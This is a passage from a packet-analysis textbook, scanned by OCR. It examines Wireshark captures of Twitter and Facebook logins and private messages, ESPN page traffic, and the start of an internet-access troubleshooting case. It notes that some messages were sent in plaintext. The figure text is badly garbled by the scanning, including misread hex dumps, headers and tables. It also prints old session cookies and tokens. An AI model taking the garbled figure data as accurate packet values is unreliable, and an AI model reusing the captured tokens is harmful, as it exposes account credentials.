Figure 8-1: Handshake connecting to port 443 
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The packets that follow the handshake are part of the SSL encrypted 
handshake. SSL relies on keys—strings of characters used to encrypt and 
decrypt communication between two parties. The handshake process is the 
formal transmission of these keys between hosts, as well as the negotiation of 
various connection and encryption characteristics. Once this handshake is 
completed, secure data transfer begins. 

In order to find the encrypted packets that handle the exchange of data, 
look for the packets that are identified as Application Data in the Info column 
of the Packet Details pane. Expanding the SSL portion of any of these packets 
will display the Encrypted Application Data field, containing the unreadable 
encrypted data 6, as shown in Figure 8-2. This shows the transfer of the user- 
name and password during login. 


ll 10 0.000169 172.16.16.128 168.143.162.68 TLSv1 Application Data el eJle[S | 


@ Frame 10: 219 bytes on wire (1752 bits), 219 bytes captured (1752 bits) 
Œ Ethernet II, Src: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a), Dst: 00:05:5d:21:99:4c (00:05:5d:21:99:4c) 
& Internet Protocol, Src: 172.16.16.128 (172.16.16.128), Dst: 168.143.162.68 (168.143.162.68) 
@ Transmission Control Protocol, src Port: 4669 (4669), DSt Port: 443 (443), Seq: 4164865716, Ack: 1150193510, Len: 165 
Ej Secure Socket Layer 
E TLSV1 Record Layer: Application Data Protocol: http 
Content Type: Application Data (23) 
version: TLS 1.0 (0x0301) 
Length: 160 


] Encrypted Application Data: 507E2D7C9AFACSAL5F399AC 3C782C0E3133A06E7 3EDOEEED. . . 


0030 41 5e c3 98 00 00 17 03 
0040 (EE 99a c3 C7 8 
d6 ee ed 20 c9 99 6d 34 4d bf 8c a6 30 f9 
a5 a9 b5 ab a4 bd 82 b3 51 49 69 8f cb 1d 
b4 dO 59 27 eb 69 a4 17 f8 b4 di 8e 


L- 


Figure 8-2: Encrypted credentials being transmitted 


The authentication continues briefly until the connection begins its tear- 
down process with a FIN/ACK at packet 16. Following authentication, we 
would expect our browser to be redirected to our Twitter home page, which 
is exactly what happens. As you can see in Figure 8-3, packets 19, 21, and 22 
are part of the handshake process that sets up a new connection to the same 
remote server (168.143.162.68) but on port 80 instead of 443 6. Following 
the completed handshake, we see the HTTP GET request in packet 23 for the 
root directory of the web server (/) 0. The server acknowledges the request 
in packet 24 0 and begins transmitting data over the next several packets. 
The contents of packet 41 marks the completion of the data transmission 
related to the GET request. 


Time Source Destination Protocol Info [1] 
19 0.001117 172.16.16.128 168.143.162.68 TCP 4670 » 80 [SYN] Seq-3871493748 win-8192 Len-0 MSS-1460 
21 0.000063 168.143.162.68 172.16.16.128 TCP 80 > 4670 [SYN, ACK] Seq=2866679388 Ack=3871493749 win=18200 Len=0 MSS=1406 


22 0.000063 172.16.16.128 168.143.162. 68 TCP 4670 > 80 [ACK] Seq=3871493749 Ack=2866679389 win-16872 Len=0 
) 172.16.16.128 168.143.162.68 GET / HTTP/1.1 
E) 24 0.080775 168.143.162.68 172.16.16.128 80 > 4670 [ACK] Seq=2866679389 Ack=3871495149 win-8400 Len=0 


Figure 8-3: The GET request for the root directory of our Twitter home page (/] once authentication has 
completed 


Several more GET requests are made in the remainder of the capture 
file in order to retrieve the images and other files linked to the home page. 
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Sending Data with a Tweet 


Once logged in, the next step is to tell the world what's on your mind. Because 
I'm in the middle of writing a book, I'll tweet, “This is a tweet for Practical 
Packet Analysis, second edition" and capture the traffic from posting that 
tweet in the file twitter. fweet.pcap. 

This capture file starts as soon as the tweet is submitted. It begins with 
a handshake between our local workstation 172.16.16.134 and the remote 
address 168.143.162.100. The fourth and fifth packets in the capture comprise 
an HTTP packet sent from the client to the server. Wireshark has combined 
the data in these two packets, and placed it in the Packet Details pane of 
packet 5 for ease of viewing. 

To examine this HTTP header, expand the HTTP section in the Packet 
Details pane of the fifth packet, as shown in Figure 8-4. You will see that the 
POST method is used with the URL /status/update ®. We know that this is 
indeed a packet from the tweet, because the Host field contains the value 
twitter.com 6. 


(BB 5 0.000138 172.16.16.134 168.143.162.100 HTTP POST /status/update HTTP/1.1 (application/x-www-form-urlencoded) koleba 


@ Frame 5: 270 bytes on wire (2160 bits), 270 bytes captured (2160 bits) 

@ Ethernet II, Src: 00:0c:29:f9:74:d8 (00:0c:29:f9:74:d8), Dst: 00:05:5d:21:99:4c (00:05:5d:21:99:4c) 

Hj Internet Protocol, Src: 172.16.16.134 (172.16.16.134), Dst: 168.143.162.100 (168.143.162.100) 

& Transmission Control Protocol, src Port: 1176 (1176), Dst Port: 80 (80), Seq: 2123484133, Ack: 3949247192, Len: 216 
Œ [Reassembled TCP Segments (1518 bytes): #4(1302), #5(216)] 

- Hypertext Transfer Protocol 1 

x-requested-with: XMLHttpRequest\r\n 

Accept-Language: en-us\r\n 

Referer: http://twitter.com/\r\n 

Accept: application/json, text/javascript, */*\r\n 

Content-Type: application/x-www-form-urlencoded V rn 

Accept-Encoding: gzip, deflate\r\n 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1; SV1)\r\n 

Host: twitter.com\r\n @ 

Content-Length: 216\r\n 

Connection: Keep-Alive\r\n 

Cache-control: no-cache\r\n 

[truncated] Cookie: guest_id=1269991132318; original_referer=4bfz%2B%2BmebEKRKMWFCXM%2FCUOSVDOVeFTI; . utma-438383€ 
\r\n 

Hj Line-based text data: application/x-ww-form-ur lencoded 

4 m , 


[z] 


(MSO 4F 53 20 2f 73 74 GL 74 75 73 2f 75 70 64| 
(tose! 74 65 20 48 54 54 50 2f 31 2e 31 0d Oar 
0020 72 65 71 75 65 73 74 65 64 2d 77 69 74 68 3a 20 


ANIA EO Ad Ar AQ 7A 7A 7N E? GG 71 7& ER 72 74 Ad Aa ve urtan anne - 


Frame (270 bytes)| Reassembled TCP (1518 bytes) | 


Figure 8-4: The HTTP POST for a Twitter update 


Notice the information contained in the packet's Line-based Text Data 
field 6 in Figure 8-5. When you analyze this data, you will see a field named 
Authenticity Token, followed by a status field in a URL containing this value: 


This+is+at+tweet+for+practical+packet+analysis%2c+second+edition 


The value of the status field is the tweet I've submitted in unencrypted 
plaintext. 

There is a slight security concern here, because some people protect 
their tweets and don’t intend for them to be seen by just anyone. This doesn’t 
mean that just anybody could read the tweet, but a user on the same network 
could intercept this traffic and see the contents of the tweet clearly. 


twitter dm.pcap 


lil 5 0.000138 172.16.16.134 168.143.162.100 HTTP POST /status/update HTTP/1.1 (application/x-www-form-urlencoded) POSS roa x) 


Frame 5: 270 bytes on wire (2160 bits), 270 bytes captured (2160 bits) 
Ethernet II, Src: 00:0c:29:f9:74:d8 (00:0c:29:f9:74:d8), Dst: 00:05:5d:21:99:4c (00:05:5d:21:99:4c) 
Internet Protocol, Src: 172.16.16.134 (172.16.16.134), Dst: 168.143.162.100 (168.143.162.100) 
Transmission Control Protocol, Src Port: 1176 (1176), Dst Port: 80 (80), Seq: 2123484133, Ack: 3949247192, Len: 216 
[Reassembled TCP Segments (1518 bytes): #4(1302), #5(216)] 
B8 
x-requested-with: XMLHttpRequest\r\n 
Accept-Language -us\r\n 
Referer: http://twitter.com/\r\n 
Accept: application/json, text/javascript, */*\r\n 
Content-Type: application/x-www-form-ur lencoded\r\n 
Accept-Encoding: gzip, deflate\r\n 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1; Sv1)\r\n 
Host: twitter.com\r\n 
Content-Length: 216\r\n 
Connection: Keep-Alive\r\n 
Cache-Control: no-cache\r\n 
[truncated] Cookie: guest_id=1269991132318; original_referer=4bfz%2B%2BmebEKRKMWFCXM%2FCUOSVDOVeFTI; . utma-438383€| 
\r\n 
E Line-based text dat 
authenticity toke 


application/x-www-form-ur lencoded @] 
067 d6FF958277ae8ed1e111e58a02799923b4aastatus=This+is+a+tweet+for+practical+packet+analysi 


3d 32 62 30 36 37 64 36y token 6 
35 38 32 37 37 61 65 38 65 64 31 65 31 58277 


Frame (270 bytes] Reassembled TCP (1518 bytes) 


c 4 


Figure 8-5: The tweet in plaintext 


Twitter Direct Messaging 


Now we'll consider a scenario with some security implications: Twitter direct 
messaging, which allows users to share presumably private messages. The file 
twitter dm.bcapis a packet capture of a Twitter direct message. As you can see 
in Figure 8-6, direct messages aren't exactly private. 


E 7 0.000062 172.16.0.8 168.143.162.52 HTTP POST /direct messages/create/chrissanders88 HTTP/1.1 (application/x-www-form-urlencoded) Cons ax 


@ Frame 7: 194 bytes on wire (1552 bits), 194 bytes captured (1552 bits) 

Œ Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:26:0b:31:07:33 (00:26:0b:31:07:33) 

8$; Internet Protocol, Src: 172.16.0.8 (172.16.0.8), Dst: 168.143.162.52 (168.143.162.52) 

Œ Transmission Control Protocol, Src Port: 2636 (2636), Dst Port: 80 (80), Seq: 1824829000, Ack: 348227206, Len: 140 

Œ [Reassembled TCP Segments (1804 bytes): #4(1380), #5(284), 47(140)] 

=] 

I] 
Accept: application/x-ms-application, image/jpeg, application/xamlexm!, image/gif, image/pjpeg, application/x-ms-xbap, */* Wn 
Referer: http://twitter. com/direct_messages /create/chrissanders88\r\n 
Accept-Language: en-US |n 
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; windows NT 6.1; win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 
Content-Type: application/x-www-form-ur encoded rn 
UA-CPU: AMD64\r\n 
Accept-Encoding: gzip, deflate\r\n 
Host: twitter. com\r\n 
@ Content-Length: 140\r\n 

Connection: keep-Alive\r\n 
Cache-Control: no-cache\r\n 
[truncated] Cookie: guest_id=1270401079616; __utma=43838368. 1999976554. 1270401091. 1270401091. 1270489604.2; . utmz-43838368.1270401091.1.1.utmcsr: 
\r\n 

Ə Line-based text data: application/x-www-form-urlencoded Q8] 

authenticity. token-9b03f e6aa7853e8902181bSelda2cc3a3f 9F8718&text=Don%27t+tel ]+anybody%2c+but+I+ate+al 1+the+lunches+in+the+fridge&update=send 


4 7 


w| 


iui (194 bytes)| Reassembled TCP (1804 bytes) 


Figure 8-6: A direct message in the clear 


The display of packet 7 in Figure 8-6 shows that content is still sent in 
plaintext. This is evident in the same Line-based Text Data field 6 that we 
viewed in the previous capture. 

The knowledge that we gain here about Twitter isn't necessarily earth- 
shattering, but it may make you reconsider sending sensitive data via private 
Twitter messages over untrusted networks. 


Capturing Facebook Traffic 


Once I've finished reading my tweets, I like to log in to Facebook to see what 
my friends are up to, so that I can live vicariously through them. Now let's 
use Wireshark to capture and analyze Facebook traffic. 
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The Facebook Login Process 


facebook login We'll begin with the login process captured in facebook login.pcap. The capture 

.peap begins as soon as credentials are submitted, as shown in Figure 8-7. Similar to 
the Twitter login process, we see a TCP handshake over port 443 6. Our work- 
station at 172.16.0.122 6 is initiating communication with 69.63.180.173 6, the 
server handling the Facebook authentication process. Once the handshake 
completes, the SSL handshake occurs 9, and login credentials are submitted. 


No. Time Source 2 Destination 3 Protocol Info 1 


172.16.0.122 69.63.180.173 Client Hello 
69.63.180.173 172.16.0.122 Server Hello, Certificate, Server Hello Done 
172.16.0.122 69.63.180.173 54595 > 443 [ACK] Seq=2917405792 Ack=2894039242 win-121 Len=0 TSV=301989758 TSER-3479125858 


172.16. 0.122 69, 63.180.173 54595 > 443 6 Seq=2917405623 Ack=2894038305 win-92 Len-0 T5V-301989735 TSER-3479125768 


172.16.0.122 69. 63.180.173 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message 

69.63.180.173 172.16.0.122 Change Cipher spec, Encrypted Handshake Message 

172.16.0.122 69. 63.180.173 Application Data 
10 0.189619 69.63.180.173 172.16.0.122 443 > 54595 [ACK] Seq=2894039285 Ack=2917406956 win-5473 Len-0 TSV=3479126142 TSER=301989781 
11 0.073201 69, 63.180.173 172.16.0.122 Application Data 


Figure 8-7: Login credentials are transmitted securely with HTTPS. 


One difference between the Facebook authentication process and the 
Twitter one is that we don't immediately see the authentication connection 
teardown following the transmission of login credentials. Instead, we see a 
GET request for /home.php in the HTTP header of packet 12 9, as highlighted 
in Figure 8-8. 


Ml 12 0.011497 172.160.122 69.63.1902 HTTP GET /home php? HTTP/L1 Sex") 


7 Frame 12: 693 bytes on wire (5544 bits), 693 bytes captured (5544 bits) 
& Ethernet II, Src: 00:21:70:c0:56:f0 (00:21:70:c0:56:f0), Dst: 00:26:0b:31:07:33 (00:26:0b:31:07:33) 
G Internet Protocol, Src: 172.16.0.122 (172.16.0.122), Dst: 69.63.190.22 (69.63.190.22) | 
& Transmission Control Protocol, src Port: 58637 (58637), Ost Port: 80 (80), Seq: 1272383368, Ack: 2937903435, Len: 627 | 
& 
n GET /home.php? HTTP/1.1' rn l 

Host: www. facebook. com\r\n 

User-Agent: Mozilla/S.0 (x11; U; Linux 1686; en-US; rv:1.9.1.8) Gecko/20100214 ubuntu/9.10 (karmic) Firefox/3.5.8\r\n 

Accept: text/html ,application/xhtml+xml , application/xml; q=0.9,*/*;q=0.8\r\n 

Accept-Language: en-us, en; q=0. 5\r\n 

Accept-Encoding: gzip, def late\r\n 


Accept-Charset: 1S0-8859-1,utf-8;q=0.7,*;q=0.7\r\n 

Keep-Alive: 300\r\n 

Connection: keep-alive\r\n 

Referer: http://www. facebook. com/\r\n 

Cookie: datr-1270494458-cfa0d48b40ba7770547eda01bfb8a07eee6ddea8Sf4a3d253ccbd; Isd=rIviL; test_cookie=1; c_user=100000943187386; lo-812nj4zrPSUprrT- 
\r\n 


0 65 62 6f 6f 6b 2e 63 6f 
0070 6d Od Oa 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 
0080 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 58 31 31 3b 


Figure 8-8: After authentication, the GET request for /home.php takes place. 


The connection used for authentication is torn down after the contents of 
home.php is delivered, as seen in packet 64 6 at the end of the capture file in Fig- 
ure 8-9. First, the HTTP connection over port 80 is torn down (packet 62) @, 
and then the HTTPS connection over port 443 is torn down. 


No. Time Source Destination Protocol Info 


[2] 62 300.39816172.16.0.122 69.63.190.22 58637 > 80 [FIN, ACK] Seq-1272384963 Ack=2937930926 win-1002 Len=0 TSV-302065222 TSER-3479159094 
63 0.000388 172.16.0.122 69.63.180.173 Encrypted Alert 


65 0.036439 69.63.190.22 172.16.0.122 80 » 58637 [ACK] Seq-2937930926 Ack-1272384964 win-7233 Len-0 TSV-3479459532 TSER-302065222 
66 0.000082 69.63.190.22 172.16.0.122 80 » 58637 [FIN, ACK] Seq-2937930926 Ack-1272384964 win-7233 Len-0 TSV-3479459532 TSER-302065222 
67 0.000023 172.16.0.122 69.63.190.22 58637 > 80 [ACK] Seq=1272384964 Ack=2937930927 win-1002 Len=0 TSV-302065232 TSER-3479459532 


69 0.000078 172.16.0.122 69.63.180.173 54595 » 443 [ACK] Seq-2917406980 Ack-2894040467 win-158 Len-0 TSV-302065245 TSER-3479427810 


71 0.088948 69.63.180.173 172.16.0.122 443 » 54595 [ACK] Seq-2894040467 Ack-2917406980 win-5496 Len-0 TSV-3479428358 TSER-302065360 


Figure 8-9: The HTTP connection is torn down and is followed by the HTTPS connection. 
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Private Messaging with Facebook 


Now that we've examined Facebook's login authentication process, let's see 
how it handles private messaging. The file facebook message.pcap contains the 
packets captured while sending a message from my account to another Face- 
book account. When you open this file, you may be surprised by the few packets 
it contains. 

The first two packets comprise the HTTP traffic responsible for sending 
the message itself. When you expand the HTTP header of packet 2, as shown 
in Figure 8-10, you will see the POST method is used with a rather long URL 
string 6. As you can see, the string includes a reference to AJAX. 


; — Oo 
(BB 2 0.000012 172.16.0.127 69.63 190.10 HTTP POST /sjax/gigaboxxendpoint/MessageComposerEndpointphp? a-1 HTTP pplication /x-waw-form-urlencoded) eek 
@ Frame 2: 193 bytes on wire (1544 bits), 193 bytes captured (1544 bits) a 


& Ethernet II, Src: 00:21:70:c0:56:f0 (00:21:70:c0:56:f0), Dst: 00:26:0b:31:07:33 (00:26:0b:31:07:33) 

@ Internet Protocol, Src: 172.16.0.122 (172.16.0.122), Dst: 69.63.190.10 (69.63.190.10) 

& Transmission Control Protocol, Src Port: 58014 (58014), Dst Port: 80 (80), Seq: 213423315, Ack: 3852371768, Len: 127 
@ [Reassembled TCP segments (1495 bytes): #1(1368), #2(127)] 
a 


m POST /ajax/gigaboxx/endpoint/Messagecomposerendpoint. php?__a=1 HTTP/1.1\r\n_1 
Host: www. facebook. com\r\n 
user-agent: Mozilla/5.0 (x11; U; Linux 1686; en-US; rv:1.9.1.8) Gecko/20100214 ubuntu/9.10 (karmic) Firefox/3.5.8\r\n 
Accept: text/htm1,application/xhtm]+xm1 , application/xml; q=0.9,*/*;q=0.8\r\n 

Accept-Language: en-us,en;q=0.5\r\n 
|| Accept-Encoding: gzip,deflate\r\n 
Accept-Charset: ISO-8859-1,utf-8; q=0.7,*;q=0.7\r\n 


Keep-Alive: 300\r\n 
Connection: keep-alive\r\n 
X-SVN-Rev: 232466\r\n 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n 
Referer: http://www. facebook. com/home. php?\r\n 
& Content-Length: 439\r\n 
[truncated] Cookie: datr-1270494458-cfa0d48b40ba7770547eda01bfb8a07eee6ddea85f4a3d253ccbd; Isd=rIv1L; c user-100000943187386; 


Pragma: no-cache\r\n 
Cache-control: no-cache\r\n I 


— MR RÓ—À— 


i 
ISO 4f 53 54 20 2f 61 6a 61 78 2f 67 69 67 61 62 
RGNF 78 78 2f 65 Ge 64 70 6f 69 Ge 74 2f 4d 65 7 
Q 61 67 65 43 GF 6d 70 GF 73 65 72 45 Ge 64 70 


Frame (193 bytes)| Reassembled TCP (1495 bytes) | —— 


Figure 8-10: This HTTP POST references AJAX 


Asynchronous JavaScript and XML (AJAX) is a client-side approach to 
creating interactive web applications that retrieve information from a server 
in the background. While you might expect that after the private message is 
sent to the client’s browser, the session would be redirected to another page 
(as with the Twitter direct message), that doesn’t happen. In this case, the 
use of AJAX probably means that the message is sent from some type of inter- 
active pop-up, rather than from an individual page, which means that no 
redirection or reloading of content is necessary. This is one of the benefits 
of some AJAX implementations. 

You can examine the content of this private message by expanding the 
Line-based Text Data portion of packet 2, as shown in Figure 8-11. As with 
Twitter, it appears as though Facebook’s private messages are sent unencrypted. 


| Line-based text data: application/x-www-form-urlencoded 


[truncated] ids_c4bba389c9d7033d483222[0]=51800021asubject=Secr et! &status=Don 't%20te | 1%20anybody%2C%20but%201%20at e%20a | 1I%20the%20sack%20 lunches%20too! &i ds [0] - 


Figure 8-11: The content of this Facebook message is seen in plaintext. 
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Comparing Twitter vs. Facebook Methods 


You've now seen the authentication and messaging methods of two web ser- 
vices: Twitter and Facebook. Each takes a different approach. Programmers 
might argue that the Twitter method of authentication is better than Facebook's 
because it can be faster and more efficient. Security researchers might argue 
the Facebook method is better because it ensures that all content has been 
delivered. Also, no additional authentication is required before the authenti- 
cation connection closes, which may in turn make man-in-the-middle attacks 
more difficult to achieve. ( Man-in-the-middle attacks are attacks where malicious 
users intercept traffic between two communicating parties.) In reality, the 
differences between the authentication methods of the two websites are 
minimal, but they do demonstrate that differences can occur when two pro- 
grammers set out to develop a routine that performs the same task. 

Although it’s interesting, the point of this analysis was not to find out 
exactly how Twitter and Facebook work but simply to expose you to traffic 
that you can compare and contrast. This baseline should provide a good 
framework if you need to examine why similar services aren't operating as 
they should or are just operating slowly. 


Capturing ESPN.com Traffic 


http espn.pcap 
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Having completed my social network stalking for the morning, my next task 
is to check up on the latest news headlines and sports scores. Certain sites 
always make for interesting analysis, and hitp://www.espn.com/is one of those. 
I've captured the traffic of a computer browsing to the ESPN website in the 
file http. espn.pcap. 

This capture file contains many packets—956 to be exact. This is simply 
too much data for us to manually scroll through the entire file in an attempt 
to discern individual connections and anomalies, so we'll use some of Wire- 
shark's analysis features to make the process easier. 


Using the Conversations Window 


The ESPN home page includes a lot of bells and whistles, so it's easy to 
understand why it would take nearly a thousand packets to transfer that data 
to us. Whenever you have a large data transfer, it's useful to know the source 
of that data, and more important, whether it's from one or multiple sources. 
We can find out by using Wireshark’s Conversations window (Statistics > 
Conversations). 

Figure 8-12 shows an example with 14 unique IP conversations, 25 unique 
TCP connections, and 14 unique UDP conversations—all displayed in detail 
in the main Conversations window. There's a lot going on here, especially for 
just one site. 


r 
@ Conversations: http_espn.pcap 


hernet: 1 | Fibre Channel] FDDI 


IPv4 Conversations 


Address A 4 AddressB — * Packets « Bytes 4 Packets A->B 4 Bytes A->B 4 Packets A«-B 4 Bytes A«-B 4 RelStart € ^ 
4221 17246.0.122 28 3193 14 2141 14 1052 0.000000000 
172160122 199.181.132.250 6 1221 4 651 2 570 0.011851000 
68.71.208.11  172.16.0.122 7] 49505 35 42876 42 6 629 0.156174000 
17216.0122 205.234.218.129 588 439846 2 34 501 317 405345 0.346699000 
172.16.0.122 205.234.218.82 38 21506 20 2697 18 18 809 0.560578000 |= 
63.85.36.8 172.16.0.122 7 1858 3 1212 4 646 0.679210000 
63.85.36.72 — 172160122 119 99317 71 93 693 48 5 624 0.751189000 
172160122 205.234.218.112 27 7735 16 3906 11 3829 0.782260000 
68.71.209.72 172.16.0.122 6 1734 2 608 4 1126 0.806357000 
172160122 205.234.218.67 10 253 6 1149 4 1383 1.154830000 | 
68.71.208.113 172160122 6 1316 2 359 4 957 1.320217000 
66.235.139.152 17216.0.122 15 7055 6 2661 9 4394 1.549026000 _ 
«I n" ] r 
|V| Name resolution ©] Limit to display filter 


Close 


S 


Figure 8-12: The Conversations window shows several unique connections. 


Using the Protocol Hierarchy Statistics Window 


For a better view of the situation, we can see the application layer protocols 
used with these TCP and UDP connections. Open the Protocol Hierarchy 
Statistics window (Statistics » Protocol Hierarchy), as shown in Figure 8-13. 


lll] Wireshark: Protocol Hierarchy Statistics oroma] 
Display filter: none 
Protocol % Packets Packets Bytes Mbit/s End Packets End Bytes End Mbit/s 
m Frame | 10000: 956652181 2548 0 0 — 000 
E Ethernet 956 652181 2.548 0 0 — 0000 
E Internet Protocol 956 652181 2.548 0 0 — 000 
@ E User Datagram Protocol [253% 2: a9 0.012 0 0 — 0000 
@ Domain Name Service [233% 38 3193 002 28 319 — 0012 
@ E Transmission Control Protocol 928 648988 2.536 807 567803 — 2219 
© = Hypertext Transfer Protocol ff 1266% i21 81185 0317 62 37579 0147 
Line-based text data ] i6 1 96 008 14 9761 0038 
JPEG File Interchange Format | 178% 17 12156 0047 17 12056 0047 
Portable Network Graphics | 1465% 14 10587 0041 14 10587 0.041 
Compuserve GIF [099% 9 7778 0030 9 778 003 
Media Type | an 3 2332 0009 3 2332 0.009 
eXtensible Markup Language | ox 2 992 0.004 2 992 0.004 


Help 


e 


L- 


J 


Figure 8-13: The Protocol Hierarchy Statistics window shows the distribution 
of protocols in this capture. 
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As you can see, TCP accounts for 97.07 percent of the packets in the 
capture 6, and UDP accounts for the remaining 2.93 percent @. As expected, 
the TCP traffic is all HTTP 6, which is broken down even further into the 
file types transferred over HTTP. 

It may seem confusing when I say that all of the TCP traffic is HTTP 
when Wireshark shows only 12.66 percent as being HTTP, but that's because 
the other 84.41 percent is pure TCP traffic (data transfer and control packets). 
All of the UDP traffic shown is DNS, based on the entry under the UDP 
heading ©. 

Based on this information alone, we can draw a few conclusions. For 
one, we know from previous examples that DNS transactions are quite small, 
so the fact there are 28 DNS packets (as listed in the Packets column next to 
the Domain Name Service entry in Figure 8-13) means that we could have as 
many as 14 DNS transactions. We derive this number by dividing the total 
number of packets by two, which represents pairs of requests and responses. 
If you look under the UDP heading of the Conversations window it will show 
that there are indeed 14 conversations, which accounts for each DNS transac- 
tion and confirms our assumption. 

DNS queries don’t happen on their own though, and the only other traffic 
in the capture is HTTP traffic. This tells us that it’s likely that the HTML code 
within the ESPN website references other domains or subdomains by DNS 
name, thus forcing multiple queries to be executed. 

Let’s see if we can find some evidence to substantiate our theories. 


Viewing DNS Traffic 


One simple way to view DNS traffic is to create a filter. Entering dns into the 
filter section of the Wireshark window shows all of the DNS traffic, as shown 
in Figure 8-14. 


9 0.144300 
10 0.155758 
21 0.326066 
22 0.337568 

224 0.542078 
225 0.549050 
226 0.553531 
227 0. 560189 
389 0. 650057 
417 0.679056 
425 0.737456 
426 0.738032 
427 0.749732 
429 0.758282 


Source 
172.16.0.122 
4.2.2. 
172.16.0.122 
172.16.0.122 
4.2.2.1 
172.16.0.122 
6.0.122 


1 
1 


172.16.0.122 


Destination Protocol Info 
MRA DNS Standard query A www. espn. com 
172.16.0.122 DNS Standard query response A 199.181.132. 250 

DEDE DNS Standard query A espn.go.com 
172.16.0.122 DNS Standard query response A 68.71. 208.11 
WER DNS Standard query A a.espncdn. com 
172.16.0.122 DNS Standard query response CNAME a.espncdn.com.edgesuite.net CNAME a1831.g.akamai.net A 205.234.218.129 A 205,234. 218.82 
4.2.2.1 DNS Standard query A al. espncdn. com 
4.2.2.1 DNS Standard query A a2.espncdn. com 
172.16.0.122 DNS Standard query response CNAME a.espncdn.com.edgesuite.net CNAME a1831.g.akamai.net A 205.234.218.82 A 205.234.218.129 
172.16.0.122 DNS Standard query response CNAME a.espncdn.com.edgesuite.net CNAME a1831.g.akamai.net A 205.234.218.129 A 205.234.218.82 
4.2.2.1 DNS Standard query A ww. masters. com 
172.16.0.122 DNS Standard query response CNAME www.masters.com.edgesuite.net CNAME a1075.g.akamai.net A 63.85.36.8 A 63.85. 36.49 
KERI DNS Standard query A adsatt. espn. go. com 
4.2.2.1 DNS Standard query A log.go.com 
172.16.0.122 DNS Standard query response CNAME adimages.go.com.edgesuite.net CNAME a1412.g.akamai.net A 63.85.36.72 A 63.85, 36.58 
4.2.2.1 DNS Standard query A assets. espn. go. com 


Figure 8-14: The DNS traffic appears to be standard queries and responses. 
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This DNS traffic shown in Figure 8-14 appears to all be queries and 
responses. For a better view of the DNS names being queried, create a filter 
that displays only the queries. To create this filter, select a query in the Packet 
List pane and expand the packet’s DNS header in the Packet Details pane. 
Then right-click the Flags: 0x0100 (Standard query) field, hover over Apply 
as Filter, and choose Selected. 


This should activate the filter dns.flags -- 0x0100, which shows only the 
queries and makes it much easier to read the records we're analyzing. And, 
as you can see in Figure 8-14, there are indeed 14 individual queries (each 
packet represents a query), and all of the domain names seem to be associ- 
ated with ESPN or the content displayed on its home page. 


Viewing HTTP Requests 


Finally, we can verify the source of these queries by examining the HTTP 
requests. To do so, select Statistics >» HTTP, select Requests, and click Create 
Stat. (Make sure the filter you just created is cleared before doing this.) 

Figure 8-15 shows the HTTP Requests window. The 14 connections shown 
here (each line represents a connection to a particular domain) account for 
all of the domains represented by the DNS queries. 


E HTTP/Requests Ko l ie jeg ——) 


Topic / Item Count Rate Percent 
EJ HTTP Requests by HTTP Host 61 0.030873 
E] www.espn.com 1 0.000506 1.64% 
B] espn.go.com 5 0.002531 8.20% 
Æ a.espncdn.com 31 0.015689 50.82% 


0.001012 3.28% 
0.002024 6.56% 
0.000506 1.64% 
0.002024 6.56% 
0.002531 8.20% 
0.000506 1.64% 
0.001012 3.28% 
0.000506 1.64% 
0.001012 3.28% 
0.000506 1.64% 
0.000506 1.64% 


E] al.espncdn.com 

Æ a2.espncdn.com 

E] www.masters.com 

Æ adsatt.espn.go.com 

Æ assets.espn.go.com 

El log.go.com 
 content.dl-rms.com 
 broadband.espn.go.com 
E w88.go.com 


EH streak.espn.go.com 


FPR MN SN | Oe Be ON 


B] games-ak.espn.go.com 


Close 


x 


Figure 8-15: All HTTP requests are summarized in 
this window, which shows the domains accessed. 


With this many connections occurring, it may be in our best interest to 
check whether this highly involved process is taking place in a timely manner. 
The easiest way to do this is to view a summary of the traffic. To do so, choose 
Statistics * Summary. The Summary window, shown in Figure 8-16, shows that 
the entire process occurs in about 2 seconds 9, which is perfectly acceptable. 

It's odd to think that our simple request to view a web page broke into 
requests for 14 separate domains and subdomains, touching a variety of dif- 
ferent servers, and that this whole process took place in only 2 seconds. 
Capturing traffic while visiting your favorite websites and breaking it down 
as we have here is an interesting exercise. You never know quite where your 
data is coming from until you start looking at packets. 
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[A Wireshark: Summary Bia aa 
File 
Name: C:\http_espn.pcap 
Length: 667501 bytes 
Format: Wireshark/tcpdump/... - libpcap 
Encapsulation: Ethernet 
Packet size limit: 65535 bytes 
Time 
First packet: 2010-04-07 12:29:29 
Last packet: 2010-04-07 12:29:31 
Elapsed: 00:00:02 
Capture 
Interface: unknown 
Dropped packets: unknown 
Capture filter: unknown 
Display 
Display filter: none 
Ignored packets: 0 
Traffic 4 Captured 4 Displayed 4 Marked 4 
Packets 956 956 0 
Between first and last packet 2.047 sec [1] 
|| Avg. packets/sec 466.915 
Avg. packet size 682.198 bytes 
|| Bytes 652181 
Avg. bytes/sec 318528.317 
Avg. MBit/sec 2.548 


Figure 8-16: The Summary window for the 
file shows that this entire process occurs in 
two seconds. 


Real-World Problems 


nowebaccess 1 


.pcap 
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We'll now shift to some examples of problematic traffic. Let's look at various 
Internet access problems, as well as typical problems like an unreliable printer 
and a connectivity issue from a branch office. 


No Internet Access: Configuration Problems 


The first problem scenario is rather simple: A user cannot access the Internet. 
We have verified that the user can access all of the internal resources of the 

network, including shares on other workstations and applications hosted on 
local servers. 

The network architecture is fairly straightforward, as all clients and servers 
connect to a series of simple switches. Internet access is handled through a 
single router serving as the default gateway, and IP addressing information is 
provided by DHCP. This is a very common scenario in small offices. 


Tapping into the Wire 


In order to determine the cause of the issue, we can have the user attempt 
to browse the Internet while our sniffer is listening on the wire. We use the 
information from “Sniffer Placement in Practice" on page 31 (see Figure 2-15) 


to determine the most appropriate method for placing our sniffer. 

The switches on our network do not support port mirroring. We already 
have to interrupt the user in order to conduct our test, so we can assume that 
itis okay to take him offline once again. (That said, using a tap would be the 
most appropriate way to tap into the wire.) The resulting file is nowebaccess1.pcap. 


Analysis 

The traffic capture begins with an ARP request and reply, as shown in Fig- 
ure 8-17. In packet 1, the user's computer, with MAC address 00:25:b3:b£91:ee 
